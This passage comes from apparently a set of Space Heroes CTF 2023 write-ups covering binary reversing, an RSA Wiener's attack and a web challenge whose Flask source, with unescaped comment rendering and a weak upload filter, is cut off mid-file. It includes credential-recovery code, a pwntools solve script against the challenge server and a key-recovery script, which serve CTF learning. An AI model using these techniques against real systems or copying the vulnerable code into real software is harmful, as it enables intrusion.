std::operator<<((basic_ostream *)std::cout,"military_conquest"); 283 | std::basic_ostream>::operator<< 284 | ((basic_ostream> *)pbVar2, 285 | std::endl>); 286 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"law_enforcement"); 287 | std::basic_ostream>::operator<< 288 | ((basic_ostream> *)pbVar2, 289 | std::endl>); 290 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"logout"); 291 | std::basic_ostream>::operator<< 292 | ((basic_ostream> *)pbVar2, 293 | std::endl>); 294 | std::__cxx11::basic_string,std::allocator>::basic_string(); 295 | /* try { // try from 00403a75 to 00403b5e has its CatchHandler @ 00403ba5 */ 296 | std::operator<<((basic_ostream *)std::cout,">> "); 297 | std::operator>>((basic_istream *)std::cin,local_78); 298 | bVar1 = std::operator==(local_78,"presidential_decree"); 299 | if (bVar1) { 300 | presidential_decree(); 301 | LAB_00403b5f: 302 | bVar1 = true; 303 | } 304 | else { 305 | bVar1 = std::operator==(local_78,"adjust_economy"); 306 | if (bVar1) { 307 | adjust_economy(); 308 | goto LAB_00403b5f; 309 | } 310 | bVar1 = std::operator==(local_78,"military_conquest"); 311 | if (bVar1) { 312 | military_conquest(); 313 | goto LAB_00403b5f; 314 | } 315 | bVar1 = std::operator==(local_78,"law_enforcement"); 316 | if (bVar1) { 317 | law_enforcement(); 318 | goto LAB_00403b5f; 319 | } 320 | bVar1 = std::operator==(local_78,"logout"); 321 | if (!bVar1) { 322 | pbVar2 = std::operator<<((basic_ostream *)std::cout,"Invalid Option!"); 323 | std::basic_ostream>::operator<< 324 | ((basic_ostream> *)pbVar2, 325 | std::endl>); 326 | local_1c[0] = 2000; 327 | std::chrono::duration>::duration(local_28,local_1c); 328 | std::this_thread::sleep_for>((duration *)local_28); 329 | goto LAB_00403b5f; 330 | } 331 | bVar1 = false; 332 | } 333 | std::__cxx11::basic_string,std::allocator>::~basic_string 334 | ((basic_string,std::allocator> *)local_78); 335 | if (!bVar1) { 336 | return; 337 | } 338 | } while( true ); 339 | } 340 | 341 | ``` 342 | - We can see that it's checking for user input, then executing certain functions accordingly, every function seemed to do pretty much nothing, so I checked the symbol tree again and found an interesting function called `collapse_economy()`, let's check that one out : 343 | ```c++ 344 | 345 | /* WARNING: Unknown calling convention -- yet parameter storage is locked */ 346 | /* collapse_economy() */ 347 | 348 | void collapse_economy(void) 349 | 350 | { 351 | basic_string,std::allocator> local_198 [47]; 352 | allocator local_169; 353 | basic_string,std::allocator> local_168 [47]; 354 | allocator local_139; 355 | basic_string,std::allocator> local_138 [47]; 356 | allocator local_109; 357 | basic_string,std::allocator> local_108 [47]; 358 | allocator local_d9; 359 | basic_string,std::allocator> local_d8 [47]; 360 | allocator local_a9; 361 | basic_string,std::allocator> local_a8 [47]; 362 | allocator local_79; 363 | basic_string,std::allocator> local_78 [47]; 364 | allocator local_49; 365 | basic_string,std::allocator> local_48 [47]; 366 | allocator local_19 [9]; 367 | 368 | clear_terminal(); 369 | std::allocator::allocator(); 370 | /* try { // try from 00402769 to 0040276d has its CatchHandler @ 004029ed */ 371 | std::__cxx11::basic_string,std::allocator>:: 372 | basic_string> 373 | (local_198,"Meanwhile, somewhere on the Level 9 control room...\n",&local_169); 374 | /* try { // try from 00402778 to 0040277c has its CatchHandler @ 004029d9 */ 375 | slow_print(SUB81(local_198,0)); 376 | std::__cxx11::basic_string,std::allocator>::~basic_string 377 | (local_198); 378 | std::allocator::~allocator((allocator *)&local_169); 379 | std::allocator::allocator(); 380 | /* try { // try from 004027c0 to 004027c4 has its CatchHandler @ 00402a1e */ 381 | std::__cxx11::basic_string,std::allocator>:: 382 | basic_string> 383 | (local_168,"Morty: So w-what are you doing with Level 9 access anyways?\n",&local_139); 384 | /* try { // try from 004027cf to 004027d3 has its CatchHandler @ 00402a0a */ 385 | slow_print(SUB81(local_168,0)); 386 | std::__cxx11::basic_string,std::allocator>::~basic_string 387 | (local_168); 388 | std::allocator::~allocator((allocator *)&local_139); 389 | std::allocator::allocator(); 390 | /* try { // try from 00402817 to 0040281b has its CatchHandler @ 00402a4f */ 391 | std::__cxx11::basic_string,std::allocator>:: 392 | basic_string> 393 | (local_138,"Rick: Destroying the guu-*belch*-Galactic Government.\n",&local_109); 394 | /* try { // try from 00402826 to 0040282a has its CatchHandler @ 00402a3b */ 395 | slow_print(SUB81(local_138,0)); 396 | std::__cxx11::basic_string,std::allocator>::~basic_string 397 | (local_138); 398 | std::allocator::~allocator((allocator *)&local_109); 399 | std::allocator::allocator(); 400 | /* try { // try from 0040286e to 00402872 has its CatchHandler @ 00402a80 */ 401 | std::__cxx11::basic_string,std::allocator>:: 402 | basic_string> 403 | (local_108,"Summer: Are you going to set all their nukes to target each other?\n", 404 | &local_d9); 405 | /* try { // try from 0040287d to 00402881 has its CatchHandler @ 00402a6c */ 406 | slow_print(SUB81(local_108,0)); 407 | std::__cxx11::basic_string,std::allocator>::~basic_string 408 | (local_108); 409 | std::allocator::~allocator((allocator *)&local_d9); 410 | std::allocator::allocator(); 411 | /* try { // try from 004028c5 to 004028c9 has its CatchHandler @ 00402ab1 */ 412 | std::__cxx11::basic_string,std::allocator>:: 413 | basic_string> 414 | (local_d8, 415 | "Morty: O-Or reprogram their military portals to disintegrate their entire spacefleet?\ n" 416 | ,&local_a9); 417 | /* try { // try from 004028d4 to 004028d8 has its CatchHandler @ 00402a9d */ 418 | slow_print(SUB81(local_d8,0)); 419 | std::__cxx11::basic_string,std::allocator>::~basic_string 420 | (local_d8); 421 | std::allocator::~allocator((allocator *)&local_a9); 422 | std::allocator::allocator(); 423 | /* try { // try from 00402916 to 0040291a has its CatchHandler @ 00402ae2 */ 424 | std::__cxx11::basic_string,std::allocator>:: 425 | basic_string> 426 | (local_a8, 427 | "Rick: Good pitches kids, I\'m almost proud. But watch closely as Grandpa topples an em pire by changing a one...\n" 428 | ,&local_79); 429 | /* try { // try from 00402925 to 00402929 has its CatchHandler @ 00402ace */ 430 | slow_print(SUB81(local_a8,0)); 431 | std::__cxx11::basic_string,std::allocator>::~basic_string 432 | (local_a8); 433 | std::allocator::~allocator((allocator *)&local_79); 434 | std::allocator::allocator(); 435 | /* try { // try from 00402961 to 00402965 has its CatchHandler @ 00402b0d */ 436 | std::__cxx11::basic_string,std::allocator>:: 437 | basic_string>(local_78,"*click*\n...to a zero.\n",&local_49); 438 | /* try { // try from 0040296d to 00402971 has its CatchHandler @ 00402afc */ 439 | slow_print(SUB81(local_78,0)); 440 | std::__cxx11::basic_string,std::allocator>::~basic_string 441 | (local_78); 442 | std::allocator::~allocator((allocator *)&local_49); 443 | std::allocator::allocator(); 444 | /* try { // try from 004029a6 to 004029aa has its CatchHandler @ 00402b38 */ 445 | std::__cxx11::basic_string,std::allocator>:: 446 | basic_string>(local_48,"flag.txt",local_19); 447 | /* try { // try from 004029b2 to 004029b6 has its CatchHandler @ 00402b27 */ 448 | print_file((basic_string *)local_48); 449 | std::__cxx11::basic_string,std::allocator>::~basic_string 450 | (local_48); 451 | std::allocator::~allocator((allocator *)local_19); 452 | /* WARNING: Subroutine does not return */ 453 | exit(0); 454 | } 455 | ``` 456 | - Gotcha! it prints a conversation on the screen and finally the content of `flag.txt` file! so we need to trigger this function in order to get the flag. 457 | 458 | - But wait, where is this function ever called ? well, ghidra tells us that the entry point for this function is in the `adjust_economy()` function : 459 | 460 | ![image](https://user-images.githubusercontent.com/101048320/234398966-8003fda6-24db-4969-9179-78cddda6de12.png) 461 | 462 | - I checked the function again and saw this portion of code : 463 | ```c++ 464 | else { 465 | bVar1 = std::operator==(local_88,"inflate_currency"); 466 | if (bVar1) { 467 | pbVar2 = std::operator<<((basic_ostream *)std::cout, 468 | "How much would you wish to inflate the economy by? (enter percenta ge)" 469 | ); 470 | std::basic_ostream>::operator<< 471 | ((basic_ostream> *)pbVar2, 472 | std::endl>); 473 | std::basic_istream>::operator>> 474 | ((basic_istream> *)std::cin,&local_60); 475 | currency = currency + (local_60 / 100) * currency; 476 | if ((currency == 0) && 477 | (bVar1 = std::operator==((basic_string *)galactic_currency[abi:cxx11],"usd"), bVar1)) { 478 | bVar1 = true; 479 | } 480 | else { 481 | bVar1 = false; 482 | } 483 | if (bVar1) { 484 | collapse_economy(); 485 | } 486 | goto LAB_0040323b; 487 | } 488 | ``` 489 | 490 | - It's reading the user input into the `local_60` variable, evaluating the `currency` variable by doing ` currency = currency + (local_60 / 100) * currency;` and then checking if the `currency` variable is equal to 0 and if the `galactic_currency` is equal to 'usd', then finally calls the `collapse_economy()`. 491 | 492 | - So to set the `galactic_currency` to 'usd', we just need to enter `presedential_decree` >> `change_galactic_currency` >> `usd` ,and to set the `currency` variable to 0, we just need to pass -100 as a value to the `local_60` variable by entering `adjust_economy` >> `inflate_currency` >> -100 493 | 494 | ## Execution 495 | 496 | - So first, I refactored the `obfuscate()` function and wrote a reverse function to get the original credentials, here's a C++ code to do just that : 497 | ```c++ 498 | #include 499 | #include 500 | 501 | using namespace std; 502 | 503 | basic_string obfuscate(basic_string input_str); 504 | basic_string deobfuscate(basic_string input_str); 505 | 506 | int main() 507 | { 508 | basic_string username = "hktpu"; 509 | basic_string password = "8fs7}:f~Y;unS:yfqL;uZ"; 510 | // basic_string obfuscated_str = obfuscate(input_str); 511 | // cout << obfuscated_str << endl; 512 | basic_string correct_username = deobfuscate(username); 513 | cout << correct_username << endl; 514 | basic_string correct_password = deobfuscate(password); 515 | cout << correct_password << endl; 516 | return 0; 517 | } 518 | 519 | basic_string obfuscate(basic_string input_str) 520 | { 521 | char *current_char; 522 | ulong str_len; 523 | ulong index; 524 | int looper; 525 | 526 | looper = 0; 527 | while (true) 528 | { 529 | str_len = input_str.length(); 530 | if (str_len <= (ulong)(long)looper) 531 | break; 532 | current_char = &input_str[looper]; 533 | *current_char = *current_char + '\a'; 534 | looper = looper + 1; 535 | } 536 | 537 | return input_str; 538 | } 539 | 540 | basic_string deobfuscate(basic_string input_str) 541 | { 542 | char *current_char; 543 | ulong str_len; 544 | ulong index; 545 | int looper; 546 | 547 | looper = 0; 548 | while (true) 549 | { 550 | str_len = input_str.length(); 551 | if (str_len <= (ulong)(long)looper) 552 | break; 553 | current_char = &input_str[looper]; 554 | *current_char = *current_char - '\a'; // subtract the value of the bell character 555 | looper = looper + 1; 556 | } 557 | 558 | return input_str; 559 | } 560 | 561 | ``` 562 | 563 | - We get our credentials! 564 | ``` 565 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Galactic_Federation_FINISHED] - [mar. avril 25, 21:32] 566 | └─[$] <> ./a.out 567 | admin 568 | 1_l0v3_wR4ngL3r_jE4nS 569 | ``` 570 | 571 | - Finally, I wrote a python script that connects to the server using our credentials, sets the `galactic_currency` to 'usd', and then passes the value -100 to the `local_60` variable : 572 | ```python 573 | from pwn import * 574 | 575 | p=remote("spaceheroes-galactic-federation.chals.io", 443, ssl=True, sni="spaceheroes-galactic-federation.chals.io") 576 | 577 | p.recvuntil(b"USERNAME: ") 578 | p.sendline(b"admin") 579 | p.recvuntil(b"PASSWORD: ") 580 | p.sendline(b"1_l0v3_wR4ngL3r_jE4nS") 581 | p.sendline(b"presidential_decree") 582 | p.sendline(b"change_galactic_currency") 583 | p.sendline(b"usd") 584 | p.sendline(b"go_back") 585 | p.sendline(b"adjust_economy") 586 | p.sendline(b"inflate_currency") 587 | p.sendline(b"-100") 588 | 589 | 590 | p.interactive() 591 | 592 | ``` 593 | 594 | - After running the script, we get the following output : 595 | ``` 596 | Meanwhile, somewhere on the Level 9 control room... 597 | Morty: So w-what are you doing with Level 9 access anyways? 598 | Rick: Destroying the guu-*belch*-Galactic Government. 599 | Summer: Are you going to set all their nukes to target each ote$r? 600 | Morty: O-Or reprogram their military portals to disintegrate te$ir entire spacefleet? 601 | Rick: Good pitches kids, I'm almost proud. But watch closely a $Grandpa topples an empire by changing a one... 602 | *click* 603 | ...to a zero. 604 | shctf{w4it_uH_wh0s_P4y1Ng_m3_2_y3L1_@_tH15_gUy?} 605 | [*] Got EOF while reading in interactive 606 | ``` 607 | 608 | # Flag 609 | shctf{w4it_uH_wh0s_P4y1Ng_m3_2_y3L1_@_tH15_gUy?} 610 | -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/Guardians_of_The_Galaxy.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Only those who know the password can unlock the power of the system. But be warned, the password is as elusive as the Guardians themselves - hidden in the depths of Xandar or floating in the vastness of Knowhere. 3 | 4 | Are you ready to take on the challenge and prove yourself a true Guardian? Remember, as Groot would say, 'I am Groot' is not the password you are looking for. 5 | 6 | MD5 (Guardians_of_the_galaxy.bin) = ef91510f54b416c1feb233a23e7b9114 7 | 8 | ![image](https://user-images.githubusercontent.com/101048320/234409335-b4a896a1-6788-489d-a9ff-47f3383b1601.png) 9 | 10 | # Files 11 | 12 | - Guardians_of_the_galaxy.bin 13 | 14 | # Solution 15 | ## Recon 16 | 17 | - I started by analyzing the file with `file Guardians_of_the_galaxy.bin` : 18 | ``` 19 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Guardians_of_the_galaxy_FINISHED] - [mar. avril 25, 22:39] 20 | └─[$] <> file Guardians_of_the_galaxy.bin 21 | Guardians_of_the_galaxy.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5161cfec17ba15aa0cec13ebe94013b8f50d4123, for GNU/Linux 3.2.0, not stripped 22 | 23 | ``` 24 | 25 | - There are few stuff that interest us, the file is an ELF executable binary, dynamically linked and not stripped 26 | 27 | - Opening the binary in ghidra, and since it's not stripped, we can look at the symbol tree and we see this: 28 | 29 | ![image](https://user-images.githubusercontent.com/101048320/234410813-51d4b508-1951-4926-a07b-0acdd3fb4f74.png) 30 | 31 | - As intuitive as it is, I went ahead and examined the `main()` function to see what it had : 32 | ```c 33 | 34 | undefined8 main(void) 35 | 36 | { 37 | int iVar1; 38 | int iVar2; 39 | size_t sVar3; 40 | char *__s1; 41 | char *__s1_00; 42 | char *in_RCX; 43 | char *pcVar4; 44 | int extraout_EDX; 45 | int extraout_EDX_00; 46 | int extraout_EDX_01; 47 | int extraout_EDX_02; 48 | ulong extraout_RDX; 49 | ulong uVar5; 50 | undefined8 *puVar6; 51 | char *pcVar7; 52 | int in_R8D; 53 | int in_R9D; 54 | byte local_f8 [64]; 55 | undefined8 local_b8; 56 | undefined8 local_b0; 57 | undefined2 local_a8; 58 | undefined8 local_98; 59 | undefined8 local_90; 60 | undefined2 local_88; 61 | byte local_7a [9]; 62 | byte local_71 [9]; 63 | byte local_68 [9]; 64 | byte abStack_5f [9]; 65 | byte abStack_56 [10]; 66 | undefined4 local_4c; 67 | char *local_48; 68 | char *local_40; 69 | char *local_38; 70 | int local_30; 71 | int local_2c; 72 | int local_28; 73 | int local_24; 74 | int local_20; 75 | int local_1c; 76 | int local_18; 77 | int local_14; 78 | int local_10; 79 | int local_c; 80 | 81 | logo(); 82 | local_38 = "\nIf you are a true Guardian you know the password!!\npassword >>> "; 83 | slow_print("\nIf you are a true Guardian you know the password!!\npassword >>> "); 84 | local_40 = "Welcome aboard Guardian, here is your reward for saving our galaxy flag : "; 85 | local_48 = 86 | "Well!!! you are not a True Guardian.\nAs I said earlier only a true Guardian knows the password!! !\n \nStar Lord will lead you to the exit!!!!!!!!" 87 | ; 88 | __isoc99_scanf(&DAT_00102f48,local_68); 89 | local_c = 0; 90 | local_10 = 0; 91 | local_14 = 9; 92 | local_18 = 0x12; 93 | local_1c = 0; 94 | local_20 = 0; 95 | local_24 = 0; 96 | sVar3 = strlen((char *)local_68); 97 | if (sVar3 != 0x1b) { 98 | slow_print(local_48); 99 | return 0; 100 | } 101 | for (local_10 = 0; local_10 < 9; local_10 = local_10 + 1) { 102 | local_71[local_c] = local_68[local_10]; 103 | local_c = local_c + 1; 104 | } 105 | local_28 = 0; 106 | local_2c = 0; 107 | local_98 = 0; 108 | local_90 = 0; 109 | local_88 = 0; 110 | local_b8 = 0; 111 | local_b0 = 0; 112 | local_a8 = 0; 113 | for (local_14 = 9; local_14 < 0x12; local_14 = local_14 + 1) { 114 | local_7a[local_28] = local_68[local_14]; 115 | local_28 = local_28 + 1; 116 | } 117 | puVar6 = &local_98; 118 | atox(local_7a); 119 | uVar5 = extraout_RDX; 120 | for (local_2c = 0; local_2c < 9; local_2c = local_2c + 1) { 121 | uVar5 = (ulong)*(byte *)((long)&local_98 + (long)local_2c); 122 | *(byte *)((long)&local_b8 + (long)local_2c) = *(byte *)((long)&local_98 + (long)local_2c); 123 | } 124 | local_30 = 0; 125 | local_4c = 0; 126 | for (local_18 = 0x12; local_18 < 0x1b; local_18 = local_18 + 1) { 127 | uVar5 = (ulong)local_68[local_18]; 128 | local_f8[local_30] = local_68[local_18]; 129 | local_30 = local_30 + 1; 130 | } 131 | r(local_71,puVar6,(int)uVar5,in_RCX,in_R8D,in_R9D); 132 | r(local_f8,puVar6,extraout_EDX,in_RCX,in_R8D,in_R9D); 133 | r(local_71,puVar6,extraout_EDX_00,in_RCX,in_R8D,in_R9D); 134 | iVar1 = strncmp(__s1,"od_pbw1gu",9); 135 | if (iVar1 == 0) { 136 | local_1c = 1; 137 | } 138 | pcVar4 = "5F31735F6E30745F74"; 139 | pcVar7 = "5F31735F6E30745F74"; 140 | iVar2 = strncmp((char *)&local_b8,"5F31735F6E30745F74",0x12); 141 | iVar1 = extraout_EDX_01; 142 | if (iVar2 != 0) { 143 | pcVar4 = "5F31735F6E30745F74"; 144 | pcVar7 = "5F31735F6E30745F74"; 145 | iVar2 = strncmp((char *)&local_98,"5F31735F6E30745F74",0x12); 146 | iVar1 = extraout_EDX_02; 147 | if (iVar2 != 0) goto LAB_00101864; 148 | } 149 | local_20 = 1; 150 | LAB_00101864: 151 | r(local_f8,pcVar7,iVar1,pcVar4,in_R8D,in_R9D); 152 | iVar1 = strncmp(__s1_00,"d/[h-i-py",9); 153 | if (iVar1 == 0) { 154 | local_24 = 1; 155 | } 156 | if (((local_1c == 1) && (local_20 == 1)) && (local_24 == 1)) { 157 | slow_print(local_40); 158 | printf("%s",local_68); 159 | } 160 | else { 161 | slow_print(local_48); 162 | } 163 | return 0; 164 | } 165 | 166 | ``` 167 | 168 | - The program reads user input and stores it in the `local_68` variable, then checks if the input is 27 characters long 169 | 170 | - Then it proceeds to split the input into 3 equal parts (9 bytes each), call the `r()` function 3 times with different parameters, and then checks each part against a specific string 171 | 172 | - Looking at the `r()` function, we see this code : 173 | ```c 174 | 175 | void r(void *param_1,void *param_2,int param_3,char *param_4,int param_5,int param_6) 176 | 177 | { 178 | size_t __size; 179 | void *pvVar1; 180 | int local_c; 181 | 182 | __size = strlen((char *)param_1); 183 | pvVar1 = malloc(__size); 184 | for (local_c = 0; local_c < 9; local_c = local_c + 1) { 185 | *(char *)((long)pvVar1 + (long)local_c) = *(char *)((long)param_1 + (long)local_c) + -4; 186 | } 187 | return; 188 | } 189 | 190 | ``` 191 | - The function seems to take unnecessary arguments, but overall it loops over a string, rotates each character by 4 and then returns the string 192 | 193 | - So to get the flag, we need to write the reverse function of `r()` to decrypt the first and last 9 bytes of the password, for the last part, we just need to convert that string to ascii 194 | 195 | # Execution 196 | 197 | - I wrote a C code that does the necessary calculations : 198 | ```c 199 | #include 200 | #include 201 | #include 202 | 203 | void r(void *string, void *ptr, int num, char *str, int val1, int val2); 204 | void decode(void *string, void *ptr, int num, char *str, int val1, int val2); 205 | 206 | int main() 207 | { 208 | char original_string[] = "d/[h-i-py"; 209 | char encoded_string[9]; 210 | 211 | strcpy(encoded_string, original_string); 212 | 213 | // Decode the encoded string using the `decode` function 214 | 215 | char original_string2[] = "od_pbw1gu"; 216 | char encoded_string2[9]; 217 | 218 | strcpy(encoded_string2, original_string2); 219 | 220 | // Decode the encoded string using the `decode` function 221 | decode(encoded_string2, NULL, 0, NULL, 0, 0); 222 | 223 | char hex_string[] = "5F31735F6E30745F74"; 224 | unsigned char byte_string[10]; 225 | int i; 226 | 227 | // Convert the hexadecimal string to a byte string 228 | for (i = 0; i < strlen(hex_string); i += 2) 229 | { 230 | sscanf(&hex_string[i], "%2hhx", &byte_string[i / 2]); 231 | } 232 | 233 | // convert the byte string to a string 234 | char *string = (char *)byte_string; 235 | 236 | printf(string); 237 | decode(encoded_string, NULL, 0, NULL, 0, 0); 238 | 239 | return 0; 240 | } 241 | 242 | void r(void *string, void *ptr, int num, char *str, int val1, int val2) 243 | { 244 | size_t size; 245 | void *ptr1; 246 | int count; 247 | 248 | size = strlen((char *)string); 249 | ptr1 = malloc(size); 250 | for (count = 0; count < size; count = count + 1) 251 | { 252 | *(char *)((long)ptr1 + (long)count) = *(char *)((long)string + (long)count) + -4; 253 | } 254 | strcpy((char *)string, (char *)ptr1); 255 | free(ptr1); 256 | printf("Encoded string: %s\n", (char *)string); 257 | return; 258 | } 259 | 260 | void decode(void *string, void *ptr, int num, char *str, int val1, int val2) 261 | { 262 | size_t size; 263 | void *ptr1; 264 | int count; 265 | 266 | size = strlen((char *)string); 267 | ptr1 = malloc(size); 268 | for (count = 0; count < size; count = count + 1) 269 | { 270 | *(char *)((long)ptr1 + (long)count) = *(char *)((long)string + (long)count) + 4; 271 | } 272 | 273 | // Print the decoded string 274 | printf((char *)ptr1); 275 | 276 | free(ptr1); 277 | return; 278 | } 279 | 280 | ``` 281 | 282 | - Running the script, we get this output : 283 | ``` 284 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Guardians_of_the_galaxy_FINISHED] - [mar. avril 25, 22:39] 285 | └─[$] <> ./a.out 286 | shctf{5ky_1s_n0t_th3_l1m1t}shctf{5ky 287 | ``` 288 | 289 | # Flag 290 | 291 | shctf{5ky_1s_n0t_th3_l1m1t} 292 | -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/Rick_Sanchez_Algorithm.md: -------------------------------------------------------------------------------- 1 | # Description 2 | In and out morty a 20 second adventure 3 | ```python 4 | C = 9763756615749453697711832780290994218209540404092892743938023440562066399337084806157794233931635560977303517688862942257802526956879788034993931726625296410536964617856623732243706473693892876612392958249751369450647924807557768944650776039737608599803384984393221357912052309688764443108728369555676864557154290341642297847267177703428571478156111473165047499325994426058207523594208311563026561922495973859252628019530188566290941667031627386907620019898570109210940914849323148182914949910332546487694304519512036993844651268173759652768515378113523432311285558813699594606327838489283405761035709838557940909309 5 | n = 25886873815836479531102333881328256781823746377127140122698729076485535125711666889354560018621629598913480717734088432525491694576333336789245603514248141818159233105461757115009985693551920113198731562587185893937220809465123357884500614412967739550998756643760039322502299417470414994227318221114452157902944737622386655242568227060393806757218477070728859359570853449231546318892600962043047963934362830601068072327572283570635649379318478675132647932890596210095121862798891396418206480147312633875596896359215713337014482857089996281525920299938916154923799963866283612072794046640286442045137533183412128422223 6 | e = 3412227947038934182478852627564512970725877639428828744897413324202816073614248101081376540697482845313507125163089428254245096018283445899452858022211718628390653483026409446914537083191082941622293729786517851124468666633780447090080209520381218492938112166177839174421554838099214223129604698311531540363994640048732628930103674878115331383263452987483186144997440066159073515630319057855626746004248806849195662788941903776396118558065192757367266853647652706247900976106843337363721026272734784391404675859060134421742669727121306927682580867089725963848606261214171291213498225968719857795306299660931604391979 7 | 8 | ``` 9 | 10 | ![image](https://user-images.githubusercontent.com/101048320/234415812-a4fe3e82-5088-4691-aa7a-3f798decbca1.png) 11 | 12 | 13 | # Solution 14 | ## Recon 15 | 16 | - This looks like a typical RSA challenge where we have the ciphertext `C`, the modulus `n` and the public exponent `e`. However, I noticed that `e` has almost the same bitlength as `n`, so this may be vulnerable to the Wiener's Attack 17 | 18 | ## Execution 19 | 20 | - I had already uploaded a script that decrypts RSA cryptosystems that are vulnerable to the Wiener's attack, check https://github.com/not1cyyy/RSA-Wieners-Attack. 21 | 22 | - I modified the code a little bit : 23 | ```python 24 | from owiener import attack 25 | import os 26 | 27 | 28 | e = 3412227947038934182478852627564512970725877639428828744897413324202816073614248101081376540697482845313507125163089428254245096018283445899452858022211718628390653483026409446914537083191082941622293729786517851124468666633780447090080209520381218492938112166177839174421554838099214223129604698311531540363994640048732628930103674878115331383263452987483186144997440066159073515630319057855626746004248806849195662788941903776396118558065192757367266853647652706247900976106843337363721026272734784391404675859060134421742669727121306927682580867089725963848606261214171291213498225968719857795306299660931604391979 29 | n = 25886873815836479531102333881328256781823746377127140122698729076485535125711666889354560018621629598913480717734088432525491694576333336789245603514248141818159233105461757115009985693551920113198731562587185893937220809465123357884500614412967739550998756643760039322502299417470414994227318221114452157902944737622386655242568227060393806757218477070728859359570853449231546318892600962043047963934362830601068072327572283570635649379318478675132647932890596210095121862798891396418206480147312633875596896359215713337014482857089996281525920299938916154923799963866283612072794046640286442045137533183412128422223 30 | d = attack(e, n) 31 | 32 | if d == None: 33 | 34 | print("cannot retrieve the private key, exiting...") 35 | 36 | os._exit(1) 37 | else: 38 | choice = input("Do you want to decrypt a ciphertext ? y/n : ") 39 | 40 | match choice: 41 | case "y": 42 | c = 9763756615749453697711832780290994218209540404092892743938023440562066399337084806157794233931635560977303517688862942257802526956879788034993931726625296410536964617856623732243706473693892876612392958249751369450647924807557768944650776039737608599803384984393221357912052309688764443108728369555676864557154290341642297847267177703428571478156111473165047499325994426058207523594208311563026561922495973859252628019530188566290941667031627386907620019898570109210940914849323148182914949910332546487694304519512036993844651268173759652768515378113523432311285558813699594606327838489283405761035709838557940909309 43 | #m = pow(c, d, n) 44 | plain = bytearray.fromhex(hex(pow(c, d, n))[2:]).decode() 45 | 46 | print(f'Here is the plain text: {plain}') 47 | 48 | os._exit(0) 49 | 50 | case "n": 51 | 52 | print(f'Here is the private key: {d}, exiting....') 53 | os._exit(0) 54 | 55 | 56 | ``` 57 | 58 | - Running the script, we get this output : 59 | ``` 60 | ┌─[not1cyyy@0x45] - [~/Desktop/space-heroes-CTF/2023/Rick_Sanchez_Algorithm_FINISHED] - [mar. avril 25, 23:12] 61 | └─[$] <> python3 solve.py 62 | Do you want to decrypt a ciphertext ? y/n : y 63 | Here is the plain text: shctf{1_w4n7_thA7_mCnu99E7_5auc3_M0R7Y} 64 | ``` 65 | # Flag 66 | 67 | shctf{1_w4n7_thA7_mCnu99E7_5auc3_M0R7Y} 68 | -------------------------------------------------------------------------------- /Space-Heroes-CTF/Space-Heroes-CTF-2023/The_Dew.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Hello fellow Donut Earther! Check out this neat site that forwards our cause! The thing is, we think that the admin is actually a flat earther. Think you can figure it out? 3 | 4 | http://the-truth.hackers.best:31337/ 5 | 6 | Note: Ignore the session key, it's only present for challenge functionality. Also, if you have a working exploit, you might have to try more than once :) 7 | 8 | ![image](https://user-images.githubusercontent.com/101048320/234419763-554400cf-bc68-4abd-8fdc-cde63efac571.png) 9 | 10 | # Solution 11 | ## Recon 12 | 13 | - After navigating to the link provided, we are greeted with this webpage : 14 | 15 | ![image](https://user-images.githubusercontent.com/101048320/234424415-f255a5b4-53fb-4e65-bb31-763df1afbc0e.png) 16 | 17 | - We can see a comment section at the bottom of the page, with a `waive admin` button : 18 | 19 | ![image](https://user-images.githubusercontent.com/101048320/234424607-19d9aa4a-6360-43bc-8cda-98f8ca6d6717.png) 20 | 21 | - This already looks sus, maybe XSS ? CSRF ? keep that for later. 22 | 23 | - We can also see an upload section to upload our images : 24 | 25 | ![image](https://user-images.githubusercontent.com/101048320/234424836-e14e4464-cd3c-482b-bf86-f2fb3a6336be.png) 26 | 27 | - If we try to upload an image, it gets saved in the `/images` directory, also, we can't upload files except for png, jpg, jpeg and gif. So this already gives me a hint that I should bypass it. 28 | 29 | - Viewing the page source, we see this : 30 | 31 | ![image](https://user-images.githubusercontent.com/101048320/234425232-a16601e7-f9fa-491a-8092-e90f5e5cf04c.png) 32 | 33 | - Okay so we have the source code for the webapp, let's check it out : 34 | ```python 35 | #https://www.w3schools.com/howto/howto_css_blog_layout.asp 36 | #https://flask.palletsprojects.com/en/latest/patterns/fileuploads/ 37 | import os 38 | import redis 39 | import subprocess 40 | from uuid import uuid4 41 | from flask import * 42 | from flask_limiter import Limiter 43 | from flask_limiter.util import get_remote_address 44 | from flask_socketio import SocketIO, emit 45 | from werkzeug.utils import secure_filename 46 | 47 | UPLOAD_FOLDER = os.path.abspath('../') + '/images/' 48 | ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'} 49 | 50 | app = Flask(__name__) 51 | 52 | limiter = Limiter( 53 | get_remote_address, 54 | app=app, 55 | default_limits=["30 per minute"] 56 | ) 57 | 58 | app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER 59 | app.config['SECRET_KEY'] = 'secret!' 60 | 61 | socketio = SocketIO(app) 62 | 63 | comments = [] 64 | 65 | def allowed_file(filename): 66 | return '.' in filename and filename.rsplit('.')[1].lower() in ALLOWED_EXTENSIONS 67 | 68 | @app.after_request 69 | def add_security_headers(resp): 70 | resp.headers['Content-Security-Policy']="default-src 'self' https://*.jquery.com https://*.cloudflare.com; object-src 'none';" 71 | return resp 72 | 73 | @socketio.on('submit comment') 74 | def handle_comment(data): 75 | comments.append("

" + data['author'] + ": " + data['comment'] + "

